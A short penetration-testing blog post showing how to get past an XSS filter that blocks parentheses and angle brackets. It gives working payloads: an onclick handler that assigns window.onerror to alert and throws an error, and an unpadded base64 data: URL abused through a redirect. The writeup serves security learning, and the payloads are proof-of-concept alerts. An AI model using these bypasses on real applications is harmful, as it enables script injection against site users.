A Trick to Bypass an XSS Filter and Execute JavaScript

I've recently come across an application which had a very simple XSS filter. If the input contained the following chars, the application would throw an error:

( ) < >

Simple, but annoying. I found a stored XSS vulnerability and I could not get the PoC to go off. The stored value was being returned by the server in an input but the filter was getting in the way.

It would not let me submit the usual payloads:

" on click=alert('xss') x="
"><script>alert('xss')</script>

A neat trick to get alert to popup is by setting the onerror handler to the alert function and throwing some arbitrary error. This results in an alert box popping up with the contents of the exception.

What worked for me was this:

" onclick="javascript:window.onerror=alert;throw 'XSS'" x="

This application also had some arbitrary redirection flaw which allowed me to inject some text via the URL inside the document.location.href property.

I could not escape quotations and execute, as the data was being passed by value form the URL:

// http://app/?url=value
var goto = params["url"];
document.location.href = goto;

So I had to get creative:

// http://app/?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
var goto = params["url"];
document.location.href = goto;

Which translated to:

// atob('PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=')
// "<script>alert("xss")</script>"

document.location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='

This should work, but it didn't. Chrome was trying to navigate to:

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4

Notice the missing base64 padding =? This application populated the params variable using a split on = to get key/value pairs.

To get around this I had to modify my code just enough to not need padding after base64 encoding:

btoa('<script>alert("xss")</script>')
"PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="
btoa('<script>alert("xss")</script>1')
"PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4x"

and Chrome was happy to popup my alert box!